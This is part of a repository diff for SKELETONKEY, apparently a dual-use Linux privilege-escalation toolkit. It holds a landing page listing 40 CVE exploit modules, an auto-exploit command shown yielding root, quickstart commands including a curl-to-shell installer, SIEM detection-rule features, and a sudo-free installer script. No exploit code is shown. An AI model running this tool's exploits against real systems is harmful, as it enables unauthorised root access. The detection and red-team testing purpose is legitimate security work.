|
||||
<div>
|
||||
<strong>OPSEC footprint</strong>
|
||||
<p>Per-exploit description of what the SOC would see if this
|
||||
fired: file artifacts, dmesg signatures, syscall observables,
|
||||
network activity, cleanup behavior.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── BENTO FEATURES ──────────────── -->
|
||||
<section class="section section-bento reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">capabilities</span>
|
||||
<h2>Built for every side of the desk</h2>
|
||||
</div>
|
||||
|
||||
<div class="bento">
|
||||
<article class="bento-card bento-lg">
|
||||
<div class="bento-icon">⚡</div>
|
||||
<h3>Auto-pick the safest exploit</h3>
|
||||
<p>
|
||||
<code>--auto</code> ranks vulnerable modules by stability
|
||||
(structural escapes > page-cache writes > userspace races
|
||||
> kernel races) and runs the safest one. Never crashes a
|
||||
production box looking for root.
|
||||
</p>
|
||||
<pre class="bento-code">$ skeletonkey --auto --i-know
|
||||
[*] 3 vulnerable; safest is 'pwnkit' (rank 100)
|
||||
[*] launching --exploit pwnkit...
|
||||
# id
|
||||
uid=0(root) gid=0(root)</pre>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">🛡</div>
|
||||
<h3>151 detection rules</h3>
|
||||
<p>
|
||||
auditd · sigma · yara · falco. One command emits the corpus for
|
||||
your SIEM. Each rule grounded in the module's own syscalls.
|
||||
</p>
|
||||
<div class="rule-cov">
|
||||
<div class="rule-row"><span>auditd</span><span class="rule-bar"><i style="width:96.7%"></i></span><span>30/31</span></div>
|
||||
<div class="rule-row"><span>sigma</span><span class="rule-bar"><i style="width:100%"></i></span><span>31/31</span></div>
|
||||
<div class="rule-row"><span>yara</span><span class="rule-bar"><i style="width:90.3%"></i></span><span>28/31</span></div>
|
||||
<div class="rule-row"><span>falco</span><span class="rule-bar"><i style="width:96.7%"></i></span><span>30/31</span></div>
|
||||
</div>
|
||||
</article>
|
||||
|
||||
<article class="bento-card bento-kev">
|
||||
<div class="bento-icon">★</div>
|
||||
<h3>CISA KEV prioritized</h3>
|
||||
<p>
|
||||
13 of 40 CVEs in the corpus are in CISA's Known Exploited
|
||||
Vulnerabilities catalog — actively exploited in the wild.
|
||||
Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">🧬</div>
|
||||
<h3>OPSEC notes per exploit</h3>
|
||||
<p>
|
||||
Each module ships a runtime-footprint paragraph: files, dmesg,
|
||||
syscall observables, network, persistence. The inverse of the
|
||||
detection rules — what an attacker would leave behind on
|
||||
<em>your</em> host.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card bento-lg">
|
||||
<div class="bento-icon">🎯</div>
|
||||
<h3>One host fingerprint, every module</h3>
|
||||
<p>
|
||||
<code>core/host.c</code> probes kernel / arch / distro / userns /
|
||||
apparmor / selinux / lockdown / sudo version / polkit version
|
||||
<em>once</em> at startup. Every <code>detect()</code> reads the
|
||||
same cached snapshot, so verdicts stay coherent across the
|
||||
corpus.
|
||||
</p>
|
||||
<pre class="bento-code">struct skeletonkey_host {
|
||||
struct kernel_version kernel;
|
||||
char arch[32], distro_id[64];
|
||||
bool unprivileged_userns_allowed;
|
||||
bool apparmor_restrict_userns;
|
||||
bool kpti_enabled, selinux_enforcing;
|
||||
char meltdown_mitigation[64];
|
||||
char sudo_version[64], polkit_version[64];
|
||||
...
|
||||
};</pre>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">📡</div>
|
||||
<h3>JSON for pipelines</h3>
|
||||
<p>
|
||||
<code>--scan --json</code> emits a stable schema (see
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md">JSON_SCHEMA.md</a>)
|
||||
with triage metadata, opsec notes, and rule coverage embedded.
|
||||
Ready for Splunk / Elastic / Sentinel ingest.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">🔒</div>
|
||||
<h3>No SaaS. No telemetry.</h3>
|
||||
<p>
|
||||
One static binary. No phone-home, no analytics, no cloud
|
||||
accounts. Reads <code>/proc</code> + <code>/sys</code>, runs the
|
||||
probe, exits. JSON or plain text — your pipeline owns the data.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card bento-vfy">
|
||||
<div class="bento-icon">✓</div>
|
||||
<h3>28 modules empirically verified</h3>
|
||||
<p>
|
||||
<code>tools/verify-vm/</code> spins up known-vulnerable
|
||||
kernels (stock distro + mainline from kernel.ubuntu.com), runs
|
||||
<code>--explain --active</code> per module, and records the
|
||||
verdict. <strong>28 of 40 CVEs</strong> confirmed against
|
||||
real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
|
||||
+ mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
|
||||
<code>--list</code> shows ✓ per module.
|
||||
</p>
|
||||
</article>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── MODULE CORPUS ──────────────── -->
|
||||
<section id="corpus" class="section reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">corpus</span>
|
||||
<h2>40 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
|
||||
</div>
|
||||
|
||||
<h3 class="corpus-h" data-color="green">
|
||||
<span class="corpus-dot green"></span>
|
||||
Lands root on a vulnerable host
|
||||
<span class="corpus-h-sub">structural escapes + page-cache writes; no per-kernel offsets needed</span>
|
||||
</h3>
|
||||
<div class="pills">
|
||||
<span class="pill green">copy_fail</span>
|
||||
<span class="pill green">copy_fail_gcm</span>
|
||||
<span class="pill green">dirty_frag_esp</span>
|
||||
<span class="pill green">dirty_frag_esp6</span>
|
||||
<span class="pill green">dirty_frag_rxrpc</span>
|
||||
<span class="pill green kev">★ dirty_pipe</span>
|
||||
<span class="pill green kev">★ dirty_cow</span>
|
||||
<span class="pill green kev">★ pwnkit</span>
|
||||
<span class="pill green kev">★ overlayfs</span>
|
||||
<span class="pill green kev">★ overlayfs_setuid</span>
|
||||
<span class="pill green">cgroup_release_agent</span>
|
||||
<span class="pill green kev">★ ptrace_traceme</span>
|
||||
<span class="pill green">sudoedit_editor</span>
|
||||
<span class="pill green">sudo_host</span>
|
||||
<span class="pill green">entrybleed</span>
|
||||
</div>
|
||||
|
||||
<h3 class="corpus-h" data-color="yellow">
|
||||
<span class="corpus-dot yellow"></span>
|
||||
Fires kernel primitive · opt-in <code>--full-chain</code>
|
||||
<span class="corpus-h-sub">honest <code>EXPLOIT_FAIL</code> default; <code>--full-chain</code> runs the shared modprobe_path finisher</span>
|
||||
</h3>
|
||||
<div class="pills">
|
||||
<span class="pill yellow kev">★ nf_tables</span>
|
||||
<span class="pill yellow">nft_set_uaf</span>
|
||||
<span class="pill yellow">nft_fwd_dup</span>
|
||||
<span class="pill yellow">nft_payload</span>
|
||||
<span class="pill yellow kev">★ netfilter_xtcompat</span>
|
||||
<span class="pill yellow">af_packet</span>
|
||||
<span class="pill yellow">af_packet2</span>
|
||||
<span class="pill yellow">af_unix_gc</span>
|
||||
<span class="pill yellow">cls_route4</span>
|
||||
<span class="pill yellow kev">★ fuse_legacy</span>
|
||||
<span class="pill yellow">stackrot</span>
|
||||
<span class="pill yellow kev">★ sudo_samedit</span>
|
||||
<span class="pill yellow">sequoia</span>
|
||||
<span class="pill yellow">vmwgfx</span>
|
||||
<span class="pill yellow">ptrace_pidfd</span>
|
||||
<span class="pill yellow">cifswitch</span>
|
||||
<span class="pill yellow">nft_catchall</span>
|
||||
<span class="pill yellow">bad_epoll</span>
|
||||
<span class="pill yellow">ghostlock</span>
|
||||
</div>
|
||||
|
||||
<p class="corpus-foot">
|
||||
Full inventory with kernel ranges, mitigations, and detection
|
||||
coverage:
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">CVES.md</a>
|
||||
·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/KEV_CROSSREF.md">KEV cross-reference</a>
|
||||
·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/CVE_METADATA.json">CVE_METADATA.json</a>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── AUDIENCE ──────────────── -->
|
||||
<section class="section section-audience reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">who it's for</span>
|
||||
<h2>Same project. Both sides of the engagement.</h2>
|
||||
</div>
|
||||
|
||||
<div class="audience-grid">
|
||||
<div class="audience-card audience-red">
|
||||
<div class="audience-icon">🔴</div>
|
||||
<h3>Red team / pentesters</h3>
|
||||
<p>
|
||||
<code>--auto</code> picks the safest exploit and runs it. Honest
|
||||
scope reporting — never claims root it didn't actually get.
|
||||
Per-exploit OPSEC notes tell you what telemetry you'll leave.
|
||||
No more curating stale PoC repos.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/README.md" class="audience-link">Walkthrough →</a>
|
||||
</div>
|
||||
<div class="audience-card audience-blue">
|
||||
<div class="audience-icon">🔵</div>
|
||||
<h3>Blue team / SOC</h3>
|
||||
<p>
|
||||
One command ships SIEM coverage for the entire corpus.
|
||||
<code>--explain</code> renders a triage briefing per CVE with
|
||||
CWE / ATT&CK / KEV / OPSEC — paste into the ticket.
|
||||
KEV-prioritized so you fix what attackers are already using.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md" class="audience-link">Playbook →</a>
|
||||
</div>
|
||||
<div class="audience-card audience-gray">
|
||||
<div class="audience-icon">🛠</div>
|
||||
<h3>Sysadmins / IT</h3>
|
||||
<p>
|
||||
<code>--scan</code> works without sudo. JSON output for CI
|
||||
gates. Fleet-scan helper bundled. Compatible with everything
|
||||
back to glibc 2.17 via the static-musl binary. No SaaS,
|
||||
no analytics, no cloud accounts.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md" class="audience-link">JSON schema →</a>
|
||||
</div>
|
||||
<div class="audience-card audience-purple">
|
||||
<div class="audience-icon">🎓</div>
|
||||
<h3>Researchers / CTF</h3>
|
||||
<p>
|
||||
40 CVEs, 10-year span, each with the original PoC author
|
||||
credited and the kernel-range citation auditable.
|
||||
<code>--explain</code> shows the reasoning chain; detection
|
||||
rules let you practice both sides. Source is the documentation.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md" class="audience-link">Architecture →</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── HONESTY CALLOUT ──────────────── -->
|
||||
<section class="section section-callout reveal">
|
||||
<div class="container">
|
||||
<div class="callout">
|
||||
<div class="callout-mark">✓</div>
|
||||
<div>
|
||||
<h3>The verified-vs-claimed bar</h3>
|
||||
<p>
|
||||
Most public PoC repos hardcode offsets for one kernel build and
|
||||
silently break elsewhere. <strong>SKELETONKEY refuses to ship
|
||||
fabricated offsets.</strong> The shared <code>--full-chain</code>
|
||||
finisher returns <code>EXPLOIT_OK</code> only when a setuid
|
||||
bash sentinel file <em>actually appears</em>. Modules with a
|
||||
primitive but no portable cred-overwrite chain default to
|
||||
firing the primitive + grooming the slab + recording a witness,
|
||||
then return <code>EXPLOIT_FAIL</code> with diagnostic.
|
||||
Operators populate the offset table once per kernel via
|
||||
<code>--dump-offsets</code> and upstream the entry via PR.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── QUICKSTART ──────────────── -->
|
||||
<section id="quickstart" class="section reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">quickstart</span>
|
||||
<h2>Five commands.</h2>
|
||||
</div>
|
||||
|
||||
<div class="tabs" role="tablist">
|
||||
<button class="tab active" data-tab="install" role="tab">install</button>
|
||||
<button class="tab" data-tab="scan" role="tab">scan</button>
|
||||
<button class="tab" data-tab="explain" role="tab">explain</button>
|
||||
<button class="tab" data-tab="auto" role="tab">auto</button>
|
||||
<button class="tab" data-tab="detect" role="tab">detect-rules</button>
|
||||
</div>
|
||||
|
||||
<div class="tab-panel active" data-tab="install">
|
||||
<pre class="code"><span class="cmt"># install (x86_64 / arm64; checksum-verified)</span>
|
||||
<span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||
<span class="cmt"># default is the musl-static x86_64 binary — works back to glibc 2.17</span></pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="scan">
|
||||
<pre class="code"><span class="cmt"># inventory — no sudo needed</span>
|
||||
<span class="prompt">$</span> skeletonkey --scan
|
||||
<span class="cmt"># or machine-readable for a SIEM</span>
|
||||
<span class="prompt">$</span> skeletonkey --scan --json | jq '.findings[] | select(.verdict == "VULNERABLE")'</pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="explain">
|
||||
<pre class="code"><span class="cmt"># one-page operator briefing for a single CVE</span>
|
||||
<span class="prompt">$</span> skeletonkey --explain nf_tables
|
||||
<span class="cmt"># shows CVE/CWE/ATT&CK/KEV header, host fingerprint, live trace,</span>
|
||||
<span class="cmt"># verdict, OPSEC footprint, detection coverage. Paste into your ticket.</span></pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="auto">
|
||||
<pre class="code"><span class="cmt"># pick the safest exploit and run it</span>
|
||||
<span class="prompt">$</span> skeletonkey --auto --i-know
|
||||
<span class="cmt"># --dry-run for "what would it do?" without launching</span>
|
||||
<span class="prompt">$</span> skeletonkey --auto --dry-run</pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="detect">
|
||||
<pre class="code"><span class="cmt"># deploy SIEM coverage (needs sudo to write to /etc/audit/rules.d/)</span>
|
||||
<span class="prompt">$</span> skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
<span class="prompt">$</span> sudo augenrules --load
|
||||
|
||||
<span class="cmt"># or in YAML for falco / sigma / yara</span>
|
||||
<span class="prompt">$</span> skeletonkey --detect-rules --format=falco > /etc/falco/skeletonkey_rules.yaml</pre>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── ROADMAP / TIMELINE ──────────────── -->
|
||||
<section class="section section-timeline reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">where we are</span>
|
||||
<h2>Recently shipped · in flight · next.</h2>
|
||||
</div>
|
||||
|
||||
<div class="timeline">
|
||||
<div class="tl-col tl-shipped">
|
||||
<div class="tl-tag">shipped</div>
|
||||
<ul>
|
||||
<li><strong>28 of 40 CVEs empirically verified</strong> in real Linux VMs</li>
|
||||
<li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
|
||||
<li>Per-module <code>verified_on[]</code> table baked into the binary</li>
|
||||
<li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
|
||||
<li><strong>OPSEC notes</strong> — per-module runtime footprint</li>
|
||||
<li><strong>CISA KEV + NVD CWE + MITRE ATT&CK</strong> metadata pipeline</li>
|
||||
<li>151 detection rules across all four SIEM formats</li>
|
||||
<li><code>core/host.c</code> shared host-fingerprint refactor</li>
|
||||
<li>88-test harness (kernel_range + detect integration)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="tl-col tl-active">
|
||||
<div class="tl-tag">in flight</div>
|
||||
<ul>
|
||||
<li>9 deferred TOO_TIGHT kernel-range drift findings</li>
|
||||
<li>PackageKit provisioner so pack2theroot can hit the VULNERABLE path</li>
|
||||
<li>Custom Vagrant box for kernels ≤ 4.4 (unblock dirty_cow verification)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="tl-col tl-next">
|
||||
<div class="tl-tag">next</div>
|
||||
<ul>
|
||||
<li>arm64 musl-static binary (Raspberry-Pi-class deployments)</li>
|
||||
<li>Mass-fleet scan aggregator → heat-map dashboard</li>
|
||||
<li>SIEM query templates (Splunk SPL, Elastic KQL, Sentinel KQL)</li>
|
||||
<li>CWE / ATT&CK filter for <code>--scan --json</code></li>
|
||||
<li>CI hardening: clang-tidy, scan-build, drift-check job</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<p class="tl-foot">
|
||||
Full roadmap and contribution guide:
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">ROADMAP.md</a>
|
||||
·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">CONTRIBUTING.md</a>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── FOOTER ──────────────── -->
|
||||
<footer class="footer">
|
||||
<div class="container footer-inner">
|
||||
<div class="footer-col">
|
||||
<div class="footer-brand">
|
||||
<span class="nav-mark" aria-hidden="true">◆</span>
|
||||
SKELETONKEY
|
||||
</div>
|
||||
<p class="footer-tag">
|
||||
Curated Linux LPE corpus with SOC-ready detection rules. One
|
||||
binary, no SaaS, no telemetry. MIT licensed.
|
||||
</p>
|
||||
</div>
|
||||
<div class="footer-col">
|
||||
<h4>Project</h4>
|
||||
<ul>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY">Source</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/releases">Releases</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">CVE inventory</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">Roadmap</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="footer-col">
|
||||
<h4>Docs</h4>
|
||||
<ul>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md">Architecture</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md">Detection playbook</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md">JSON schema</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/OFFSETS.md">Offsets</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="footer-col">
|
||||
<h4>Ethics</h4>
|
||||
<ul>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DEFENDERS.md">For defenders</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">Contribute</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="container footer-bottom">
|
||||
<p>
|
||||
Each module credits the original CVE reporter and PoC author in its
|
||||
<code>NOTICE.md</code>. The research credit belongs to the people
|
||||
who found the bugs.
|
||||
</p>
|
||||
<p class="footer-meta">
|
||||
v0.9.11 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
|
||||
</p>
|
||||
</div>
|
||||
</footer>
|
||||
|
||||
<script src="app.js" defer></script>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 73 KiB |
+85
@@ -0,0 +1,85 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="1200" height="630" viewBox="0 0 1200 630">
|
||||
<defs>
|
||||
<linearGradient id="bg" x1="0" y1="0" x2="1" y2="1">
|
||||
<stop offset="0" stop-color="#07070d"/>
|
||||
<stop offset="1" stop-color="#0c0c16"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="brand" x1="0" y1="0" x2="1" y2="0">
|
||||
<stop offset="0" stop-color="#10b981"/>
|
||||
<stop offset="1" stop-color="#06b6d4"/>
|
||||
</linearGradient>
|
||||
<radialGradient id="glow1" cx="0.2" cy="0.3" r="0.6">
|
||||
<stop offset="0" stop-color="#10b981" stop-opacity="0.18"/>
|
||||
<stop offset="1" stop-color="#10b981" stop-opacity="0"/>
|
||||
</radialGradient>
|
||||
<radialGradient id="glow2" cx="0.85" cy="0.8" r="0.5">
|
||||
<stop offset="0" stop-color="#a855f7" stop-opacity="0.16"/>
|
||||
<stop offset="1" stop-color="#a855f7" stop-opacity="0"/>
|
||||
</radialGradient>
|
||||
</defs>
|
||||
|
||||
<!-- backgrounds -->
|
||||
<rect width="1200" height="630" fill="url(#bg)"/>
|
||||
<rect width="1200" height="630" fill="url(#glow1)"/>
|
||||
<rect width="1200" height="630" fill="url(#glow2)"/>
|
||||
|
||||
<!-- diamond mark -->
|
||||
<g transform="translate(80,140)">
|
||||
<rect x="0" y="0" width="36" height="36" transform="rotate(45 18 18)" fill="url(#brand)"/>
|
||||
</g>
|
||||
|
||||
<!-- wordmark -->
|
||||
<text x="142" y="170" font-family="'Space Grotesk','Inter',sans-serif" font-weight="700" font-size="68" fill="#ecedf7" letter-spacing="-2">
|
||||
SKELETONKEY
|
||||
</text>
|
||||
|
||||
<!-- tagline -->
|
||||
<text x="80" y="240" font-family="'Inter',sans-serif" font-size="30" fill="#c5c5d3" font-weight="500">
|
||||
Curated Linux LPE corpus.
|
||||
</text>
|
||||
<text x="80" y="278" font-family="'Inter',sans-serif" font-size="30" fill="#c5c5d3" font-weight="500">
|
||||
Every year 2016 → 2026. 28 of 34 verified.
|
||||
</text>
|
||||
|
||||
<!-- stat chips -->
|
||||
<g transform="translate(80,360)">
|
||||
<!-- 39 modules -->
|
||||
<rect x="0" y="0" width="190" height="58" rx="29" fill="#161628" stroke="#25253c"/>
|
||||
<text x="28" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ecedf7">39</text>
|
||||
<text x="64" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">modules</text>
|
||||
|
||||
<!-- 28 VM-verified -->
|
||||
<rect x="206" y="0" width="240" height="58" rx="29" fill="#161628" stroke="#10b981" stroke-opacity="0.5"/>
|
||||
<text x="234" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#34d399">28</text>
|
||||
<text x="270" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">✓ VM-verified</text>
|
||||
|
||||
<!-- 12 KEV -->
|
||||
<rect x="482" y="0" width="218" height="58" rx="29" fill="#161628" stroke="#ef4444" stroke-opacity="0.4"/>
|
||||
<text x="510" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ef4444">12</text>
|
||||
<text x="546" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">★ in CISA KEV</text>
|
||||
|
||||
<!-- 151 rules -->
|
||||
<rect x="736" y="0" width="232" height="58" rx="29" fill="#161628" stroke="#25253c"/>
|
||||
<text x="764" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ecedf7">151</text>
|
||||
<text x="810" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">detection rules</text>
|
||||
</g>
|
||||
|
||||
<!-- terminal mockup -->
|
||||
<g transform="translate(80,478)">
|
||||
<rect x="0" y="0" width="1040" height="92" rx="12" fill="#0a0a14" stroke="#25253c"/>
|
||||
<!-- bar -->
|
||||
<circle cx="22" cy="22" r="6" fill="#ff5f57"/>
|
||||
<circle cx="42" cy="22" r="6" fill="#febc2e"/>
|
||||
<circle cx="62" cy="22" r="6" fill="#28c840"/>
|
||||
<line x1="0" y1="44" x2="1040" y2="44" stroke="#1c1c2d"/>
|
||||
<text x="24" y="78" font-family="'JetBrains Mono',monospace" font-size="20" fill="#ecedf7">
|
||||
<tspan fill="#10b981">$</tspan> skeletonkey --explain nf_tables <tspan fill="#5b5b75"># operator briefing in one command</tspan>
|
||||
</text>
|
||||
</g>
|
||||
|
||||
<!-- subtle url at very bottom -->
|
||||
<text x="1120" y="610" font-family="'JetBrains Mono',monospace" font-size="14" fill="#5b5b75" text-anchor="end">
|
||||
skeletonkey.netslum.io
|
||||
</text>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 4.0 KiB |
+1032
File diff suppressed because it is too large
Load Diff
+65
-18
@@ -19,21 +19,48 @@
|
||||
# 0 — installed successfully
|
||||
# 1 — error (unsupported arch, download failure, permission denied)
|
||||
|
||||
set -euo pipefail
|
||||
# POSIX-friendly: -eu is universal, pipefail only on shells that
|
||||
# support it (bash, ksh, dash >= 0.5.12). Without pipefail the
|
||||
# installer still exits on the first hard error since every curl/
|
||||
# tar/install step is checked explicitly.
|
||||
set -eu
|
||||
(set -o pipefail) 2>/dev/null && set -o pipefail || true
|
||||
|
||||
REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
|
||||
VERSION="${SKELETONKEY_VERSION:-latest}"
|
||||
PREFIX="${SKELETONKEY_PREFIX:-/usr/local/bin}"
|
||||
# PREFIX resolution is deferred until install time so we can pick a
|
||||
# sudo-free default. SKELETONKEY is a privilege-escalation tool — by
|
||||
# definition the operator does NOT have root yet, so the installer must
|
||||
# NEVER need sudo. Empty here means "auto-pick a writable dir below".
|
||||
PREFIX="${SKELETONKEY_PREFIX:-}"
|
||||
|
||||
log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
|
||||
ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
|
||||
fail() { printf '[\033[1;31m-\033[0m] %s\n' "$*" >&2; exit 1; }
|
||||
|
||||
# Detect architecture
|
||||
# Detect architecture. Default to the musl-static binary on both
|
||||
# x86_64 and arm64 — works on every libc (glibc 2.x of any version,
|
||||
# musl, uclibc); costs ~800 KB extra vs dynamic but eliminates the
|
||||
# GLIBC_2.NN portability ceiling that bites on Debian-stable, older
|
||||
# RHEL hosts, and Alpine. Set SKELETONKEY_DYNAMIC=1 to fetch the
|
||||
# smaller dynamic build (needs glibc >= 2.38 for x86_64 — Ubuntu
|
||||
# 24.04 / Debian 13 / RHEL 10).
|
||||
arch=$(uname -m)
|
||||
case "$arch" in
|
||||
x86_64|amd64) target=x86_64 ;;
|
||||
aarch64|arm64) target=arm64 ;;
|
||||
x86_64|amd64)
|
||||
if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
|
||||
target=x86_64
|
||||
else
|
||||
target=x86_64-static
|
||||
fi
|
||||
;;
|
||||
aarch64|arm64)
|
||||
if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
|
||||
target=arm64
|
||||
else
|
||||
target=arm64-static
|
||||
fi
|
||||
;;
|
||||
*) fail "Unsupported architecture: $arch (only x86_64 and arm64 currently)" ;;
|
||||
esac
|
||||
log "detected arch: $target"
|
||||
@@ -85,29 +112,49 @@ fi
|
||||
|
||||
chmod +x "$tmp/skeletonkey"
|
||||
|
||||
# Install. Try $PREFIX directly; if not writable, sudo.
|
||||
target_path="$PREFIX/skeletonkey"
|
||||
if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then
|
||||
mv "$tmp/skeletonkey" "$target_path"
|
||||
elif command -v sudo >/dev/null 2>&1; then
|
||||
log "$PREFIX needs sudo; you may be prompted for password"
|
||||
sudo mv "$tmp/skeletonkey" "$target_path"
|
||||
# Choose install dir — NEVER escalate to sudo. If the user pinned
|
||||
# SKELETONKEY_PREFIX we honor it exactly (creating it if needed) and
|
||||
# error rather than escalate when it isn't writable. Otherwise prefer
|
||||
# /usr/local/bin only when it happens to already be writable, and fall
|
||||
# back to a guaranteed per-user dir ($HOME/.local/bin) that needs no
|
||||
# privileges. This keeps `curl ... | sh` password-free for the exact
|
||||
# users this tool is meant for: unprivileged accounts.
|
||||
if [ -n "$PREFIX" ]; then
|
||||
[ -d "$PREFIX" ] || mkdir -p "$PREFIX" 2>/dev/null \
|
||||
|| fail "cannot create SKELETONKEY_PREFIX=$PREFIX"
|
||||
[ -w "$PREFIX" ] || fail "SKELETONKEY_PREFIX=$PREFIX not writable (the installer never uses sudo — pick a writable dir)"
|
||||
elif [ -w /usr/local/bin ]; then
|
||||
PREFIX=/usr/local/bin
|
||||
else
|
||||
fail "$PREFIX not writable and sudo not available. Try SKELETONKEY_PREFIX=\$HOME/.local/bin"
|
||||
PREFIX="${XDG_BIN_HOME:-$HOME/.local/bin}"
|
||||
mkdir -p "$PREFIX" 2>/dev/null || fail "cannot create $PREFIX"
|
||||
fi
|
||||
|
||||
target_path="$PREFIX/skeletonkey"
|
||||
mv "$tmp/skeletonkey" "$target_path" || fail "failed to install to $target_path"
|
||||
ok "installed: $target_path"
|
||||
|
||||
# ~/.local/bin is frequently absent from PATH on fresh accounts — tell
|
||||
# the user how to invoke it rather than letting `skeletonkey` 404.
|
||||
case ":$PATH:" in
|
||||
*":$PREFIX:"*) : ;;
|
||||
*) log "note: $PREFIX is not on \$PATH — run it as $target_path, or add the dir to PATH" ;;
|
||||
esac
|
||||
|
||||
"$target_path" --version
|
||||
|
||||
cat >&2 <<EOF
|
||||
|
||||
[\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
|
||||
|
||||
Quickstart:
|
||||
sudo skeletonkey --scan # what's this box vulnerable to?
|
||||
